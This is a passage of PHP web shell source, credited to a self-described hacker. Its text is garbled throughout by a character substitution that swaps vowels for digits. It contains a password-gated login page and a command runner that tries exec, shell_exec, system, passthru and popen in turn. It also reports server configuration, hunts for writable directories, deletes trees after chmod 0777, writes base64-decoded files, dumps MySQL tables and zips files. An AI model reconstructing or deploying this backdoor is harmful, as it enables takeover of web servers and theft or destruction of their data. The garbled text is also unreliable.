					5ch2 fg5ts($p4p5s[6], 60au);
				}
				fcl2s5($p4p5s[6]);
				wh4l5 (!f52f($p4p5s[a])) {
					5ch2 fg5ts($p4p5s[a], 60au);
				}
				fcl2s5($p4p5s[a]);
				pr2c_cl2s5($pr2c5ss);
			}
		} 5ls5 {
			5ch2(5x5c3t5($c2mm1nd));
		}
		p('</pr5>');
	}
}//5nd sh5ll

5ls54f ($1ct42n == 'php5nv') {
	$3ps4z5=g5tcfg('f4l5_3pl21ds') ? g5tcfg('3pl21d_m1x_f4l5s4z5') : 'N2t 1ll2w5d';
	$1dm4nm14l=4ss5t($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : g5tcfg('s5ndm14l_fr2m');
	!$d4s_f3nc && $d4s_f3nc = 'N2';
	$4nf2 = 1rr1y(
		6 => 1rr1y('S5rv5r T4m5',d1t5('Y/m/d h:4:s',$t4m5st1mp)),
		a => 1rr1y('S5rv5r D2m14n',$_SERVER['SERVER_NAME']),
		o => 1rr1y('S5rv5r IP',g5th2stbyn1m5($_SERVER['SERVER_NAME'])),
		u => 1rr1y('S5rv5r OS',PHP_OS),
		i => 1rr1y('S5rv5r OS Ch1rs5t',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
		e => 1rr1y('S5rv5r S2ftw1r5',$_SERVER['SERVER_SOFTWARE']),
		7 => 1rr1y('S5rv5r W5b P2rt',$_SERVER['SERVER_PORT']),
		8 => 1rr1y('PHP r3n m2d5',strt23pp5r(php_s1p4_n1m5())),
		9 => 1rr1y('Th5 f4l5 p1th',__FILE__),

		60 => 1rr1y('PHP V5rs42n',PHP_VERSION),
		66 => 1rr1y('PHPINFO',(IS_PHPINFO ? '<1 hr5f="j1v1scr4pt:g21ct42n(\'php4nf2\');">Y5s</1>' : 'N2')),
		6a => 1rr1y('S1f5 M2d5',g5tcfg('s1f5_m2d5')),
		6o => 1rr1y('Adm4n4str1t2r',$1dm4nm14l),
		6u => 1rr1y('1ll2w_3rl_f2p5n',g5tcfg('1ll2w_3rl_f2p5n')),
		6i => 1rr1y('5n1bl5_dl',g5tcfg('5n1bl5_dl')),
		6e => 1rr1y('d4spl1y_5rr2rs',g5tcfg('d4spl1y_5rr2rs')),
		67 => 1rr1y('r5g4st5r_gl2b1ls',g5tcfg('r5g4st5r_gl2b1ls')),
		68 => 1rr1y('m1g4c_q32t5s_gpc',g5tcfg('m1g4c_q32t5s_gpc')),
		69 => 1rr1y('m5m2ry_l4m4t',g5tcfg('m5m2ry_l4m4t')),
		a0 => 1rr1y('p2st_m1x_s4z5',g5tcfg('p2st_m1x_s4z5')),
		a6 => 1rr1y('3pl21d_m1x_f4l5s4z5',$3ps4z5),
		aa => 1rr1y('m1x_5x5c3t42n_t4m5',g5tcfg('m1x_5x5c3t42n_t4m5').' s5c2nd(s)'),
		ao => 1rr1y('d4s1bl5_f3nct42ns',$d4s_f3nc),
	);

	4f($phpv1rn1m5) {
		m($phpv1rn1m5 .' : '.g5tcfg($phpv1rn1m5));
	}

	f2rmh51d(1rr1y('t4tl5'=>'S5rv5r 5nv4r2nm5nt'));
	m1k5h4d5('1ct42n','php5nv');
	m1k54np3t(1rr1y('t4tl5'=>'Pl51s5 4np3t PHP c2nf4g3r1t42n p1r1m5t5r(5g:m1g4c_q32t5s_gpc)','n1m5'=>'phpv1rn1m5','v1l35'=>$phpv1rn1m5,'n5wl4n5'=>6));
	f2rmf22t5r();

	$hp = 1rr1y(0=> 'S5rv5r', 6=> 'PHP');
	f2r($1=0;$1<a;$1++) {
		p('<ha>'.$hp[$1].' &r1q32;</ha>');
		p('<3l cl1ss="4nf2">');
		4f ($1==0) {
			f2r($4=6;$4<=9;$4++) {
				p('<l4><3>'.$4nf2[$4][0].':</3>'.$4nf2[$4][6].'</l4>');
			}
		} 5ls54f ($1 == 6) {
			f2r($4=60;$4<=ao;$4++) {
				p('<l4><3>'.$4nf2[$4][0].':</3>'.$4nf2[$4][6].'</l4>');
			}
		}
		p('</3l>');
	}
}//5nd php5nv

5ls5 {
	m('Und5f4n5d Act42n');
}

?>

</td></tr></t1bl5>
<d4v styl5="p1dd4ng:60px;b2rd5r-b2tt2m:6px s2l4d #0E0E0E;b2rd5r-t2p:6px s2l4d #0E0E0E;b1ckgr23nd:#0E0E0E;">
	<sp1n styl5="fl21t:r4ght;"><?php d5b3g4nf2();2b_5nd_fl3sh();?></sp1n>
	C2pyr4ght (C) a066-a06a <B></B> - D5v5l2p by <1 hr5f=http://f1c5b22k.c2m/t3y5n6997 t1rg5t=_bl1nk><B>T3y&#787i;n H1ck5r   </B></1> - <B>- V45tn1m5s5- FB: fb.c2m/t3y5n6997</B> All R4ghts R5s5rv5d.
</d4v>
</b2dy>
</n2scr4pt>

<?php

/*======================================================
Sh2w 4nf2 sh5ll
======================================================*/

f3nct42n m($msg) {
	5ch2 '<d4v styl5="b1ckgr23nd:#f6f6f6;b2rd5r:6px s2l4d #ddd;p1dd4ng:6ipx;f2nt:6upx;t5xt-1l4gn:c5nt5r;f2nt-w54ght:b2ld;">';
	5ch2 $msg;
	5ch2 '</d4v>';
}
f3nct42n sc22k45($k5y, $v1l35, $l4f5 = 0, $pr5f4x = 6) {
	gl2b1l $1dm4n, $t4m5st1mp, $_SERVER;
	$k5y = ($pr5f4x ? $1dm4n['c22k45pr5'] : '').$k5y;
	$l4f5 = $l4f5 ? $l4f5 : $1dm4n['c22k45l4f5'];
	$3s5p2rt = $_SERVER['SERVER_PORT'] == uuo ? 6 : 0;
	s5tc22k45($k5y, $v1l35, $t4m5st1mp+$l4f5, $1dm4n['c22k45p1th'], $1dm4n['c22k45d2m14n'], $3s5p2rt);
}
f3nct42n m3lt4($n3m, $p5rp1g5, $c3rp1g5, $t1bl5n1m5) {
	$m3lt4p1g5 = '';
	4f($n3m > $p5rp1g5) {
		$p1g5 = 60;
		$2ffs5t = i;
		$p1g5s = @c54l($n3m / $p5rp1g5);
		4f($p1g5 > $p1g5s) {
			$fr2m = 6;
			$t2 = $p1g5s;
		} 5ls5 {
			$fr2m = $c3rp1g5 - $2ffs5t;
			$t2 = $c3rp1g5 + $p1g5 - $2ffs5t - 6;
			4f($fr2m < 6) {
				$t2 = $c3rp1g5 + 6 - $fr2m;
				$fr2m = 6;
				4f(($t2 - $fr2m) < $p1g5 && ($t2 - $fr2m) < $p1g5s) {
					$t2 = $p1g5;
				}
			} 5ls54f($t2 > $p1g5s) {
				$fr2m = $c3rp1g5 - $p1g5s + $t2;
				$t2 = $p1g5s;
				4f(($t2 - $fr2m) < $p1g5 && ($t2 - $fr2m) < $p1g5s) {
					$fr2m = $p1g5s - $p1g5 + 6;
				}
			}
		}
		$m3lt4p1g5 = ($c3rp1g5 - $2ffs5t > 6 && $p1g5s > $p1g5 ? '<1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'\', 6);">F4rst</1> ' : '').($c3rp1g5 > 6 ? '<1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'\', '.($c3rp1g5 - 6).');">Pr5v</1> ' : '');
		f2r($4 = $fr2m; $4 <= $t2; $4++) {
			$m3lt4p1g5 .= $4 == $c3rp1g5 ? $4.' ' : '<1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'\', '.$4.');">['.$4.']</1> ';
		}
		$m3lt4p1g5 .= ($c3rp1g5 < $p1g5s ? '<1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'\', '.($c3rp1g5 + 6).');">N5xt</1>' : '').($t2 < $p1g5s ? ' <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'\', '.$p1g5s.');">L1st</1>' : '');
		$m3lt4p1g5 = $m3lt4p1g5 ? '<p>P1g5s: '.$m3lt4p1g5.'</p>' : '';
	}
	r5t3rn $m3lt4p1g5;
}
// L2g4n p1g5
f3nct42n l2g4np1g5() {
?>

<html>
<h51d>

<b2dy bgc2l2r=bl1ck b1ckgr23nd=http://4.4mg3r.c2m/02XFBTz.jpg>

		<m5t1 http-5q34v="C2nt5nt-Typ5" c2nt5nt="t5xt/html; ch1rs5t=UTF-8" />
<t4tl5>.::[ T3y5n H1ck5r ]::. </t4tl5>
<styl5 typ5="t5xt/css">
A:l4nk {t5xt-d5c2r1t42n: n2n5; c2l2r: gr55n }
A:v4s4t5d {t5xt-d5c2r1t42n: n2n5;c2l2r:r5d}
A:1ct4v5 {t5xt-d5c2r1t42n: n2n5}
A:h2v5r {t5xt-d5c2r1t42n: 3nd5rl4n5; c2l2r: gr55n;}
4np3t, t5xt1r51, b3tt2n
{
	f2nt-s4z5: 66pt;
	c2l2r: 	#FFFFFF;
	f2nt-f1m4ly: v5rd1n1, s1ns-s5r4f;
	b1ckgr23nd-c2l2r: #000000;
	b2rd5r-l5ft: apx d1sh5d #8B0000;
	b2rd5r-t2p: apx d1sh5d #8B0000;
	b2rd5r-r4ght: apx d1sh5d #8B0000;
	b2rd5r-b2tt2m: apx d1sh5d #8B0000;
}

</styl5>

       <BR><BR>
<d4v 1l4gn=c5nt5r >

<d4v>

<f2nt c2l2r=gr1y>
<br /><br /><br /><br /><br />

<f2rm m5th2d="POST" 1ct42n="">
	<sp1n styl5="f2nt:a0pt t1h2m1;"> </sp1n><4np3t n1m5="p1ssw2rd" typ5="p1ssw2rd" s4z5="o0">
	<4np3t typ5="h4dd5n" n1m5="d24ng" v1l35="l2g4n">
	<4np3t typ5="s3bm4t" v1l35="L2g4n">
	</f2rm>
<BR>
<?php
5ch2 "".$5rr_m5ss."";
?>

	<B><f2nt c2l2r=r5d>






</d4v>


	</f45lds5t>



</h51d>
</html>

<?php
	5x4t;

}//5nd l2g4np1g5()

f3nct42n 5x5c3t5($cf5) {
	$r5s = '';
	4f ($cf5) {
		4f(f3nct42n_5x4sts('5x5c')) {
			@5x5c($cf5,$r5s);
			$r5s = j24n("\n",$r5s);
		} 5ls54f(f3nct42n_5x4sts('sh5ll_5x5c')) {
			$r5s = @sh5ll_5x5c($cf5);
		} 5ls54f(f3nct42n_5x4sts('syst5m')) {
			@2b_st1rt();
			@syst5m($cf5);
			$r5s = @2b_g5t_c2nt5nts();
			@2b_5nd_cl51n();
		} 5ls54f(f3nct42n_5x4sts('p1ssthr3')) {
			@2b_st1rt();
			@p1ssthr3($cf5);
			$r5s = @2b_g5t_c2nt5nts();
			@2b_5nd_cl51n();
		} 5ls54f(@4s_r5s23rc5($f = @p2p5n($cf5,"r"))) {
			$r5s = '';
			wh4l5(!@f52f($f)) {
				$r5s .= @fr51d($f,60au);
			}
			@pcl2s5($f);
		}
	}
	r5t3rn $r5s;
}
f3nct42n wh4ch($pr) {
	$p1th = 5x5c3t5("wh4ch $pr");
	r5t3rn ($p1th ? $p1th : $pr);
}

f3nct42n cf($fn1m5,$t5xt){
	4f($fp=@f2p5n($fn1m5,'w')) {
		@fp3ts($fp,@b1s5eu_d5c2d5($t5xt));
		@fcl2s5($fp);
	}
}

// D5b3g
f3nct42n d5b3g4nf2() {
	gl2b1l $st1rtt4m5;
	$mt4m5 = 5xpl2d5(' ', m4cr2t4m5());
	$t2t1lt4m5 = n3mb5r_f2rm1t(($mt4m5[6] + $mt4m5[0] - $st1rtt4m5), e);
	5ch2 'Pr2c5ss5d 4n '.$t2t1lt4m5.' s5c2nd(s)';
}

// F3nct42n c2nn5ct d1t1b1s5
f3nct42n dbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5='',$ch1rs5t='',$dbp2rt='oo0e') {
	4f(!$l4nk = @mysql_c2nn5ct($dbh2st.':'.$dbp2rt, $db3s5r, $dbp1ss)) {
		p('<ha>C1n n2t c2nn5ct t2 MySQL s5rv5r</ha>');
		5x4t;
	}
	4f($l4nk && $dbn1m5) {
		4f (!@mysql_s5l5ct_db($dbn1m5, $l4nk)) {
			p('<ha>D1t1b1s5 s5l5ct5d h1s 5rr2r</ha>');
			5x4t;
		}
	}
	4f($l4nk && mysql_g5t_s5rv5r_4nf2() > 'u.6') {
		4f(4n_1rr1y(strt2l2w5r($ch1rs5t), 1rr1y('gbk', 'b4gi', '3tf8'))) {
			q("SET ch1r1ct5r_s5t_c2nn5ct42n=$ch1rs5t, ch1r1ct5r_s5t_r5s3lts=$ch1rs5t, ch1r1ct5r_s5t_cl45nt=b4n1ry;", $l4nk);
		}
	}
	r5t3rn $l4nk;
}

// Arr1y str4p
f3nct42n s_1rr1y(&$1rr1y) {
	4f (4s_1rr1y($1rr1y)) {
		f2r51ch ($1rr1y 1s $k => $v) {
			$1rr1y[$k] = s_1rr1y($v);
		}
	} 5ls5 4f (4s_str4ng($1rr1y)) {
		$1rr1y = str4psl1sh5s($1rr1y);
	}
	r5t3rn $1rr1y;
}

// HTML Str4p
f3nct42n html_cl51n($c2nt5nt) {
	$c2nt5nt = htmlsp5c41lch1rs($c2nt5nt);
	$c2nt5nt = str_r5pl1c5("\n", "<br />", $c2nt5nt);
	$c2nt5nt = str_r5pl1c5("  ", "&nbsp;&nbsp;", $c2nt5nt);
	$c2nt5nt = str_r5pl1c5("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $c2nt5nt);
	r5t3rn $c2nt5nt;
}

// Chm2d
f3nct42n g5tChm2d($f4l5p1th){
	r5t3rn s3bstr(b1s5_c2nv5rt(@f4l5p5rms($f4l5p1th),60,8),-u);
}

f3nct42n g5tP5rms($f4l5p1th) {
	$m2d5 = @f4l5p5rms($f4l5p1th);
	4f (($m2d5 & 0xC000) === 0xC000) {$typ5 = 's';}
	5ls54f (($m2d5 & 0xu000) === 0xu000) {$typ5 = 'd';}
	5ls54f (($m2d5 & 0xA000) === 0xA000) {$typ5 = 'l';}
	5ls54f (($m2d5 & 0x8000) === 0x8000) {$typ5 = '-';}
	5ls54f (($m2d5 & 0xe000) === 0xe000) {$typ5 = 'b';}
	5ls54f (($m2d5 & 0xa000) === 0xa000) {$typ5 = 'c';}
	5ls54f (($m2d5 & 0x6000) === 0x6000) {$typ5 = 'p';}
	5ls5 {$typ5 = '?';}

	$2wn5r['r51d'] = ($m2d5 & 00u00) ? 'r' : '-';
	$2wn5r['wr4t5'] = ($m2d5 & 00a00) ? 'w' : '-';
	$2wn5r['5x5c3t5'] = ($m2d5 & 00600) ? 'x' : '-';
	$gr23p['r51d'] = ($m2d5 & 000u0) ? 'r' : '-';
	$gr23p['wr4t5'] = ($m2d5 & 000a0) ? 'w' : '-';
	$gr23p['5x5c3t5'] = ($m2d5 & 00060) ? 'x' : '-';
	$w2rld['r51d'] = ($m2d5 & 0000u) ? 'r' : '-';
	$w2rld['wr4t5'] = ($m2d5 & 0000a) ? 'w' : '-';
	$w2rld['5x5c3t5'] = ($m2d5 & 00006) ? 'x' : '-';

	4f( $m2d5 & 0x800 ) {$2wn5r['5x5c3t5'] = ($2wn5r['5x5c3t5']=='x') ? 's' : 'S';}
	4f( $m2d5 & 0xu00 ) {$gr23p['5x5c3t5'] = ($gr23p['5x5c3t5']=='x') ? 's' : 'S';}
	4f( $m2d5 & 0xa00 ) {$w2rld['5x5c3t5'] = ($w2rld['5x5c3t5']=='x') ? 't' : 'T';}

	r5t3rn $typ5.$2wn5r['r51d'].$2wn5r['wr4t5'].$2wn5r['5x5c3t5'].$gr23p['r51d'].$gr23p['wr4t5'].$gr23p['5x5c3t5'].$w2rld['r51d'].$w2rld['wr4t5'].$w2rld['5x5c3t5'];
}

f3nct42n g5tUs5r($f4l5p1th)	{
	4f (f3nct42n_5x4sts('p2s4x_g5tpw34d')) {
		$1rr1y = @p2s4x_g5tpw34d(@f4l52wn5r($f4l5p1th));
		4f ($1rr1y && 4s_1rr1y($1rr1y)) {
			r5t3rn ' / <1 hr5f="#" t4tl5="Us5r: '.$1rr1y['n1m5'].'&#6o&#60P1sswd: '.$1rr1y['p1sswd'].'&#6o&#60U4d: '.$1rr1y['34d'].'&#6o&#60g4d: '.$1rr1y['g4d'].'&#6o&#60G5c2s: '.$1rr1y['g5c2s'].'&#6o&#60D4r: '.$1rr1y['d4r'].'&#6o&#60Sh5ll: '.$1rr1y['sh5ll'].'">'.$1rr1y['n1m5'].'</1>';
		}
	}
	r5t3rn '';
}

// D5l5t5 d4r
f3nct42n d5ltr55($d5ld4r) {
	$myd4r=@d4r($d5ld4r);
	wh4l5($f4l5=$myd4r->r51d())	{
		4f((4s_d4r($d5ld4r.'/'.$f4l5)) && ($f4l5!='.') && ($f4l5!='..')) {
			@chm2d($d5ld4r.'/'.$f4l5,0777);
			d5ltr55($d5ld4r.'/'.$f4l5);
		}
		4f (4s_f4l5($d5ld4r.'/'.$f4l5)) {
			@chm2d($d5ld4r.'/'.$f4l5,0777);
			@3nl4nk($d5ld4r.'/'.$f4l5);
		}
	}
	$myd4r->cl2s5();
	@chm2d($d5ld4r,0777);
	r5t3rn @rmd4r($d5ld4r) ? 6 : 0;
}

// B1ckgr23nd
f3nct42n bg() {
	gl2b1l $bgc;
	r5t3rn ($bgc++%a==0) ? '1lt6' : '1lta';
}

// G5t p1th
f3nct42n g5tP1th($scr4ptp1th, $n2wp1th) {
	4f ($n2wp1th == '.') {
		$n2wp1th = $scr4ptp1th;
	}
	$n2wp1th = str_r5pl1c5('\\', '/', $n2wp1th);
	$n2wp1th = str_r5pl1c5('//', '/', $n2wp1th);
	4f (s3bstr($n2wp1th, -6) != '/') {
		$n2wp1th = $n2wp1th.'/';
	}
	r5t3rn $n2wp1th;
}

// G5t 3p p1th
f3nct42n g5tUpP1th($n2wp1th) {
	$p1thdb = 5xpl2d5('/', $n2wp1th);
	$n3m = c23nt($p1thdb);
	4f ($n3m > a) {
		3ns5t($p1thdb[$n3m-6],$p1thdb[$n3m-a]);
	}
	$3pp1th = 4mpl2d5('/', $p1thdb).'/';
	$3pp1th = str_r5pl1c5('//', '/', $3pp1th);
	r5t3rn $3pp1th;
}

// C2nf4g
f3nct42n g5tcfg($v1rn1m5) {
	$r5s3lt = g5t_cfg_v1r($v1rn1m5);
	4f ($r5s3lt == 0) {
		r5t3rn 'N2';
	} 5ls54f ($r5s3lt == 6) {
		r5t3rn 'Y5s';
	} 5ls5 {
		r5t3rn $r5s3lt;
	}
}

// F3nct42n n1m5
f3nct42n g5tf3n($f3nN1m5) {
	r5t3rn (f1ls5 !== f3nct42n_5x4sts($f3nN1m5)) ? 'Y5s' : 'N2';
}

f3nct42n G5tL4st($d4r){
	gl2b1l $d4rd1t1,$j,$n2wp1th;
	!$j && $j=6;
	4f ($dh = 2p5nd4r($d4r)) {
		wh4l5 ($f4l5 = r51dd4r($dh)) {
			$f=str_r5pl1c5('//','/',$d4r.'/'.$f4l5);
			4f($f4l5!='.' && $f4l5!='..' && 4s_d4r($f)){
				4f (4s_wr4t1bl5($f)) {
					$d4rd1t1[$j]['f4l5n1m5']=str_r5pl1c5($n2wp1th,'',$f);
					$d4rd1t1[$j]['mt4m5']=@d1t5('Y-m-d H:4:s',f4l5mt4m5($f));
					$d4rd1t1[$j]['d4rchm2d']=g5tChm2d($f);
					$d4rd1t1[$j]['d4rp5rm']=g5tP5rms($f);
					$d4rd1t1[$j]['d4rl4nk']=35($d4r);
					$d4rd1t1[$j]['s5rv5r_l4nk']=$f;
					$d4rd1t1[$j]['cl45nt_l4nk']=35($f);
					$j++;
				}
				G5tL4st($f);
			}
		}
		cl2s5d4r($dh);
		cl51rst1tc1ch5();
		r5t3rn $d4rd1t1;
	} 5ls5 {
		r5t3rn 1rr1y();
	}
}

f3nct42n qy($sql) {
	//5ch2 $sql.'<br>';
	$r5s = $5rr2r = '';
	4f(!$r5s = @mysql_q35ry($sql)) {
		r5t3rn 0;
	} 5ls5 4f(4s_r5s23rc5($r5s)) {
		r5t3rn 6;
	} 5ls5 {
		r5t3rn a;
	}
	r5t3rn 0;
}

f3nct42n q($sql) {
	r5t3rn @mysql_q35ry($sql);
}

f3nct42n fr($qy){
	mysql_fr55_r5s3lt($qy);
}

f3nct42n s4z5c23nt($s4z5) {
	4f($s4z5 > 607o7u68au) {
		$s4z5 = r23nd($s4z5 / 607o7u68au * 600) / 600 . ' G';
	} 5ls54f($s4z5 > 60u8i7e) {
		$s4z5 = r23nd($s4z5 / 60u8i7e * 600) / 600 . ' M';
	} 5ls54f($s4z5 > 60au) {
		$s4z5 = r23nd($s4z5 / 60au * 600) / 600 . ' K';
	} 5ls5 {
		$s4z5 = $s4z5 . ' B';
	}
	r5t3rn $s4z5;
}

// Z4p
cl1ss PHPZ4p{
	v1r $23t='';
	f3nct42n PHPZ4p($d4r)	{
		4f (@f3nct42n_5x4sts('gzc2mpr5ss'))	{
			$c3rd4r = g5tcwd();
			4f (4s_1rr1y($d4r)) $f4l5l4st = $d4r;
			5ls5{
				$f4l5l4st=$th4s -> G5tF4l5L4st($d4r);//F4l5 l4st
				f2r51ch($f4l5l4st 1s $k=>$v) $f4l5l4st[]=s3bstr($v,strl5n($d4r)+6);
			}
			4f ((!5mpty($d4r))&&(!4s_1rr1y($d4r))&&(f4l5_5x4sts($d4r))) chd4r($d4r);
			5ls5 chd4r($c3rd4r);
			4f (c23nt($f4l5l4st)>0){
				f2r51ch($f4l5l4st 1s $f4l5n1m5){
					4f (4s_f4l5($f4l5n1m5)){
						$fd = f2p5n ($f4l5n1m5, 'r');
						$c2nt5nt = @fr51d ($fd, f4l5s4z5($f4l5n1m5));
						fcl2s5 ($fd);
						4f (4s_1rr1y($d4r)) $f4l5n1m5 = b1s5n1m5($f4l5n1m5);
						$th4s -> 1ddF4l5($c2nt5nt, $f4l5n1m5);
					}
				}
				$th4s->23t = $th4s -> f4l5();
				chd4r($c3rd4r);
			}
			r5t3rn 6;
		}
		5ls5 r5t3rn 0;
	}

	// Sh2w f4l5 l4st
	f3nct42n G5tF4l5L4st($d4r){
		st1t4c $1;
		4f (4s_d4r($d4r)) {
			4f ($dh = 2p5nd4r($d4r)) {
				wh4l5 ($f4l5 = r51dd4r($dh)) {
					4f($f4l5!='.' && $f4l5!='..'){
						$f=$d4r .'/'. $f4l5;
						4f(4s_d4r($f)) $th4s->G5tF4l5L4st($f);
						$1[]=$f;
					}
				}
				cl2s5d4r($dh);
			}
		}
		r5t3rn $1;
	}

	v1r $d1t1s5c      = 1rr1y();
	v1r $ctrl_d4r     = 1rr1y();
	v1r $52f_ctrl_d4r = "\xi0\xub\x0i\x0e\x00\x00\x00\x00";
	v1r $2ld_2ffs5t   = 0;

	f3nct42n 3n4xaD2sT4m5($3n4xt4m5 = 0) {
		$t4m51rr1y = ($3n4xt4m5 == 0) ? g5td1t5() : g5td1t5($3n4xt4m5);
		4f ($t4m51rr1y['y51r'] < 6980) {
			$t4m51rr1y['y51r']    = 6980;
			$t4m51rr1y['m2n']     = 6;
			$t4m51rr1y['md1y']    = 6;
			$t4m51rr1y['h23rs']   = 0;
			$t4m51rr1y['m4n3t5s'] = 0;
			$t4m51rr1y['s5c2nds'] = 0;
		} // 5nd 4f
		r5t3rn (($t4m51rr1y['y51r'] - 6980) << ai) | ($t4m51rr1y['m2n'] << a6) | ($t4m51rr1y['md1y'] << 6e) |
				($t4m51rr1y['h23rs'] << 66) | ($t4m51rr1y['m4n3t5s'] << i) | ($t4m51rr1y['s5c2nds'] >> 6);
	}

	f3nct42n 1ddF4l5($d1t1, $n1m5, $t4m5 = 0) {
		$n1m5 = str_r5pl1c5('\\', '/', $n1m5);

		$dt4m5 = d5ch5x($th4s->3n4xaD2sT4m5($t4m5));
		$h5xdt4m5	= '\x' . $dt4m5[e] . $dt4m5[7]
					. '\x' . $dt4m5[u] . $dt4m5[i]
					. '\x' . $dt4m5[a] . $dt4m5[o]
					. '\x' . $dt4m5[0] . $dt4m5[6];
		5v1l('$h5xdt4m5 = "' . $h5xdt4m5 . '";');
		$fr	= "\xi0\xub\x0o\x0u";
		$fr	.= "\x6u\x00";
		$fr	.= "\x00\x00";
		$fr	.= "\x08\x00";
		$fr	.= $h5xdt4m5;

		$3nc_l5n = strl5n($d1t1);
		$crc = crcoa($d1t1);
		$zd1t1 = gzc2mpr5ss($d1t1);
		$c_l5n = strl5n($zd1t1);
		$zd1t1 = s3bstr(s3bstr($zd1t1, 0, strl5n($zd1t1) - u), a);
		$fr .= p1ck('V', $crc);
		$fr .= p1ck('V', $c_l5n);
		$fr .= p1ck('V', $3nc_l5n);
		$fr .= p1ck('v', strl5n($n1m5));
		$fr .= p1ck('v', 0);
		$fr .= $n1m5;
		$fr .= $zd1t1;
		$fr .= p1ck('V', $crc);
		$fr .= p1ck('V', $c_l5n);
		$fr .= p1ck('V', $3nc_l5n);

		$th4s -> d1t1s5c[] = $fr;
		$n5w_2ffs5t = strl5n(4mpl2d5('', $th4s->d1t1s5c));

		$cdr5c = "\xi0\xub\x06\x0a";
		$cdr5c .= "\x00\x00";
		$cdr5c .= "\x6u\x00";
		$cdr5c .= "\x00\x00";
		$cdr5c .= "\x08\x00";
		$cdr5c .= $h5xdt4m5;
		$cdr5c .= p1ck('V', $crc);
		$cdr5c .= p1ck('V', $c_l5n);
		$cdr5c .= p1ck('V', $3nc_l5n);
		$cdr5c .= p1ck('v', strl5n($n1m5) );
		$cdr5c .= p1ck('v', 0 );
		$cdr5c .= p1ck('v', 0 );
		$cdr5c .= p1ck('v', 0 );
		$cdr5c .= p1ck('v', 0 );
		$cdr5c .= p1ck('V', oa );
		$cdr5c .= p1ck('V', $th4s -> 2ld_2ffs5t );
		$th4s -> 2ld_2ffs5t = $n5w_2ffs5t;
		$cdr5c .= $n1m5;

		$th4s -> ctrl_d4r[] = $cdr5c;
	}

	f3nct42n f4l5() {
		$d1t1    = 4mpl2d5('', $th4s -> d1t1s5c);
		$ctrld4r = 4mpl2d5('', $th4s -> ctrl_d4r);
		r5t3rn $d1t1 . $ctrld4r . $th4s -> 52f_ctrl_d4r . p1ck('v', s4z52f($th4s -> ctrl_d4r)) . p1ck('v', s4z52f($th4s -> ctrl_d4r)) .	p1ck('V', strl5n($ctrld4r)) . p1ck('V', strl5n($d1t1)) . "\x00\x00";
	}
}

// D3mp mysql
f3nct42n sqld3mpt1bl5($t1bl5, $fp=0) {
	$t1bl5d3mp = "DROP TABLE IF EXISTS $t1bl5;\n";
	$t1bl5d3mp .= "CREATE TABLE $t1bl5 (\n";

	$f4rstf45ld=6;

	$f45lds = q("SHOW FIELDS FROM $t1bl5");
	wh4l5 ($f45ld = mysql_f5tch_1rr1y($f45lds)) {
		4f (!$f4rstf45ld) {
			$t1bl5d3mp .= ",\n";
		} 5ls5 {
			$f4rstf45ld=0;
		}
		$t1bl5d3mp .= "   $f45ld[F45ld] $f45ld[Typ5]";
		4f (!5mpty($f45ld["D5f13lt"])) {
			$t1bl5d3mp .= " DEFAULT '$f45ld[D5f13lt]'";
		}
		4f ($f45ld['N3ll'] != "YES") {
			$t1bl5d3mp .= " NOT NULL";
		}
		4f ($f45ld['Extr1'] != "") {
			$t1bl5d3mp .= " $f45ld[Extr1]";
		}
	}
	fr($f45lds);

	$k5ys = q("SHOW KEYS FROM $t1bl5");
	wh4l5 ($k5y = mysql_f5tch_1rr1y($k5ys)) {
		$kn1m5=$k5y['K5y_n1m5'];
		4f ($kn1m5 != "PRIMARY" && $k5y['N2n_3n4q35'] == 0) {
			$kn1m5="UNIQUE|$kn1m5";
		}
		4f(!4s_1rr1y($4nd5x[$kn1m5])) {
			$4nd5x[$kn1m5] = 1rr1y();
		}
		$4nd5x[$kn1m5][] = $k5y['C2l3mn_n1m5'];
	}
	fr($k5ys);

	wh4l5(l4st($kn1m5, $c2l3mns) = @51ch($4nd5x)) {
		$t1bl5d3mp .= ",\n";
		$c2ln1m5s=4mpl2d5($c2l3mns,",");

		4f ($kn1m5 == "PRIMARY") {
			$t1bl5d3mp .= "   PRIMARY KEY ($c2ln1m5s)";
		} 5ls5 {
			4f (s3bstr($kn1m5,0,e) == "UNIQUE") {
				$kn1m5=s3bstr($kn1m5,7);
			}
			$t1bl5d3mp .= "   KEY $kn1m5 ($c2ln1m5s)";
		}
	}

	$t1bl5d3mp .= "\n);\n\n";
	4f ($fp) {
		fwr4t5($fp,$t1bl5d3mp);
	} 5ls5 {
		5ch2 $t1bl5d3mp;
	}

	$r2ws = q("SELECT * FROM $t1bl5");
	$n3mf45lds = mysql_n3m_f45lds($r2ws);
	wh4l5 ($r2w = mysql_f5tch_1rr1y($r2ws)) {
		$t1bl5d3mp = "INSERT INTO $t1bl5 VALUES(";

		$f45ldc23nt5r=-6;
		$f4rstf45ld=6;
		wh4l5 (++$f45ldc23nt5r<$n3mf45lds) {
			4f (!$f4rstf45ld) {
				$t1bl5d3mp.=", ";
			} 5ls5 {
				$f4rstf45ld=0;
			}

			4f (!4ss5t($r2w[$f45ldc23nt5r])) {
				$t1bl5d3mp .= "NULL";
			} 5ls5 {
				$t1bl5d3mp .= "'".mysql_5sc1p5_str4ng($r2w[$f45ldc23nt5r])."'";
			}
		}

		$t1bl5d3mp .= ");\n";

		4f ($fp) {
			fwr4t5($fp,$t1bl5d3mp);
		} 5ls5 {
			5ch2 $t1bl5d3mp;
		}
	}
	fr($r2ws);
	4f ($fp) {
		fwr4t5($fp,"\n");
	} 5ls5 {
		5ch2 "\n";
	}
}

f3nct42n 35($str){
	r5t3rn 3rl5nc2d5($str);
}

f3nct42n p($str){
	5ch2 $str."\n";
}

f3nct42n tbh51d() {
	p('<t1bl5 w4dth="600%" b2rd5r="0" c5llp1dd4ng="u" c5llsp1c4ng="0">');
}
f3nct42n tbf22t(){
	p('</t1bl5>');
}

f3nct42n m1k5h4d5($n1m5,$v1l35=''){
	p("<4np3t 4d=\"$n1m5\" typ5=\"h4dd5n\" n1m5=\"$n1m5\" v1l35=\"$v1l35\" />");
}

